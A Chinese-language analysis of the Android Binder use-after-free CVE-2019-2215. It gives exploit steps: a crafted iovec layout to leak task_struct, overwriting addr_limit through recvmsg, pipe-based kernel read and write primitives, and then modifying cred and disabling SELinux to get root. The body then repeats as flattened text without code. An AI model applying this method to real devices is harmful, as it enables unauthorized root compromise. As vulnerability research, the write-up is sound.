CVE-2019-2215—android内核binder漏洞分析(2)
字数 1692 2025-08-26 22:11:39

Android内核Binder漏洞CVE-2019-2215分析与利用

漏洞概述

CVE-2019-2215是Android内核Binder驱动中的一个Use-After-Free漏洞,影响包括Pixel 2、华为P20和三星Galaxy S7/S8/S9等多款设备。该漏洞允许攻击者提升权限,实现内核任意读写,最终获取root权限。

漏洞原理

Binder驱动基础

Binder是Android特有的IPC机制,提供进程间通信功能。主要涉及三种设备:

  • /dev/binder:用于应用进程间通信
  • /dev/hwbinder:用于硬件抽象层通信
  • /dev/vndbinder:用于供应商进程间通信

漏洞根源

漏洞存在于binder_poll函数中,当线程使用BINDER_THREAD_EXIT显式退出时,waitqueue会被释放但不会从相应的epoll数据结构中删除,导致后续访问时发生UAF。

关键代码路径:

  1. binder_ioctl处理BINDER_THREAD_EXIT命令
  2. 调用binder_free_thread释放线程结构
  3. 最终通过kfree(thread)释放binder_thread对象

利用点

UAF发生在binder_thread对象上,该对象大小约400字节(0x190),通常位于kmalloc-512缓存中。关键利用点是对象中的waitqueue结构:

struct binder_thread {
    // ...
    wait_queue_head_t wait;  // 位于偏移0xA0处
    // ...
};

漏洞利用步骤

1. 信息泄露

目标:泄漏内核task_struct结构体地址

方法

  1. 创建iovec数组,大小为BINDER_THREAD_SZ/16(即0x19个)
  2. 在索引WAITQUEUE_OFFSET/16(即10)处设置特殊iovec:
    • iov_base: 映射的低32位为0的用户空间地址(如0x100000000)
    • iov_len: 0x1000
  3. 在索引11处设置:
    • iov_base: 任意值(如0xDEADBEEF)
    • iov_len: 0x1000
  4. 创建管道用于数据传输
  5. 触发UAF并通过unlink操作覆写iovec结构
  6. 通过管道读取泄漏的内核数据

unlink操作

static inline void __list_del(struct list_head *prev, struct list_head *next) {
    next->prev = prev;
    WRITE_ONCE(prev->next, next);
}

2. 突破地址限制

目标:修改addr_limit,允许内核访问任意地址

方法

  1. 使用recvmsg和特殊构造的iovec数组
  2. 设置iovec数组:
    • 索引10: iov_base=dummy_page, iov_len=1
    • 索引11: iov_base=0xDEADBEEF, iov_len=0x28
    • 索引12: iov_base=0xBEEFDEAD, iov_len=8
  3. 准备写入数据:
    unsigned long second_write_chunk[] = {
        1,                     // iov_len
        0xdeadbeef,            // iov_base (已使用)
        0x8 + 2*0x10,          // iov_len (已使用)
        current_ptr + 0x8,     // 要写入的地址(addr_limit)
        8,                     // 写入大小
        0xfffffffffffffffe     // 写入值
    };
    
  4. 触发UAF并通过recvmsg覆写iovec
  5. 实现将addr_limit修改为0xfffffffffffffffe

3. 建立任意读写原语

任意写函数

void kernel_write(unsigned long kaddr, void *data, size_t len) {
    if(write(kernel_rw_pipe[1], data, len) != len) exitWithError(...);
    if(read(kernel_rw_pipe[0], (void *)kaddr, len) != len) exitWithError(...);
}

任意读函数

void kernel_read(unsigned long kaddr, void *data, size_t len) {
    if(write(kernel_rw_pipe[1], (void *)kaddr, len) != len) exitWithError(...);
    if(read(kernel_rw_pipe[0], data, len) != len) exitWithError(...);
}

关键数据结构

binder_thread结构

struct binder_thread {
    struct binder_proc *proc;
    struct rb_node rb_node;
    struct list_head waiting_thread_node;
    int pid;
    int looper;
    bool looper_need_return;
    struct binder_transaction *transaction_stack;
    struct list_head todo;
    bool process_todo;
    struct binder_error return_error;
    struct binder_error reply_error;
    wait_queue_head_t wait;  // 偏移0xA0
    struct binder_stats stats;
    atomic_t tmp_ref;
    bool is_dead;
    struct task_struct *task;
};

wait_queue_head_t结构

struct __wait_queue_head {
    spinlock_t lock;
    struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;

iovec结构

struct iovec {
    void *iov_base;  // 缓冲区地址
    size_t iov_len;  // 缓冲区长度
};

利用注意事项

  1. 偏移量确认:不同设备/内核版本中waitqueue的偏移可能不同,需通过反汇编确认:

    ADD X0, X8, #0xA0  ; waitqueue位于binder_thread+0xA0
    
  2. 稳定性:利用过程较为稳定,失败通常只是返回错误而非内核崩溃

  3. 后续利用:获得任意读写后可以:

    • 修改cred结构获取root权限
    • 禁用SELinux
    • 修补init_task使新进程自动获得特权

完整利用流程

  1. 设置epoll和binder文件描述符
  2. 准备iovec数组用于信息泄露
  3. 创建管道用于数据传输
  4. 通过fork创建子进程
  5. 父进程调用BINDER_THREAD_EXIT触发UAF
  6. 子进程触发unlink操作破坏iovec结构
  7. 通过管道读取泄漏的内核地址
  8. 准备iovec数组用于地址限制突破
  9. 使用recvmsg和特殊构造的数据覆写addr_limit
  10. 建立任意读写原语
  11. 修改cred等关键数据结构实现提权

参考资源

  1. Chromium Issue 1942
  2. Project Zero Exploit
  3. Linux内核源码浏览
Android内核Binder漏洞CVE-2019-2215分析与利用 漏洞概述 CVE-2019-2215是Android内核Binder驱动中的一个Use-After-Free漏洞,影响包括Pixel 2、华为P20和三星Galaxy S7/S8/S9等多款设备。该漏洞允许攻击者提升权限,实现内核任意读写,最终获取root权限。 漏洞原理 Binder驱动基础 Binder是Android特有的IPC机制,提供进程间通信功能。主要涉及三种设备: /dev/binder :用于应用进程间通信 /dev/hwbinder :用于硬件抽象层通信 /dev/vndbinder :用于供应商进程间通信 漏洞根源 漏洞存在于 binder_poll 函数中,当线程使用 BINDER_THREAD_EXIT 显式退出时,waitqueue会被释放但不会从相应的epoll数据结构中删除,导致后续访问时发生UAF。 关键代码路径: binder_ioctl 处理 BINDER_THREAD_EXIT 命令 调用 binder_free_thread 释放线程结构 最终通过 kfree(thread) 释放 binder_thread 对象 利用点 UAF发生在 binder_thread 对象上,该对象大小约400字节(0x190),通常位于kmalloc-512缓存中。关键利用点是对象中的waitqueue结构: 漏洞利用步骤 1. 信息泄露 目标 :泄漏内核 task_struct 结构体地址 方法 : 创建iovec数组,大小为 BINDER_THREAD_SZ/16 (即0x19个) 在索引 WAITQUEUE_OFFSET/16 (即10)处设置特殊iovec: iov_base : 映射的低32位为0的用户空间地址(如0x100000000) iov_len : 0x1000 在索引11处设置: iov_base : 任意值(如0xDEADBEEF) iov_len : 0x1000 创建管道用于数据传输 触发UAF并通过unlink操作覆写iovec结构 通过管道读取泄漏的内核数据 unlink操作 : 2. 突破地址限制 目标 :修改 addr_limit ,允许内核访问任意地址 方法 : 使用recvmsg和特殊构造的iovec数组 设置iovec数组: 索引10: iov_base =dummy_ page, iov_len =1 索引11: iov_base =0xDEADBEEF, iov_len =0x28 索引12: iov_base =0xBEEFDEAD, iov_len =8 准备写入数据: 触发UAF并通过recvmsg覆写iovec 实现将 addr_limit 修改为0xfffffffffffffffe 3. 建立任意读写原语 任意写函数 : 任意读函数 : 关键数据结构 binder_ thread结构 wait_ queue_ head_ t结构 iovec结构 利用注意事项 偏移量确认 :不同设备/内核版本中waitqueue的偏移可能不同,需通过反汇编确认: 稳定性 :利用过程较为稳定,失败通常只是返回错误而非内核崩溃 后续利用 :获得任意读写后可以: 修改cred结构获取root权限 禁用SELinux 修补init_ task使新进程自动获得特权 完整利用流程 设置epoll和binder文件描述符 准备iovec数组用于信息泄露 创建管道用于数据传输 通过fork创建子进程 父进程调用 BINDER_THREAD_EXIT 触发UAF 子进程触发unlink操作破坏iovec结构 通过管道读取泄漏的内核地址 准备iovec数组用于地址限制突破 使用recvmsg和特殊构造的数据覆写addr_ limit 建立任意读写原语 修改cred等关键数据结构实现提权 参考资源 Chromium Issue 1942 Project Zero Exploit Linux内核源码浏览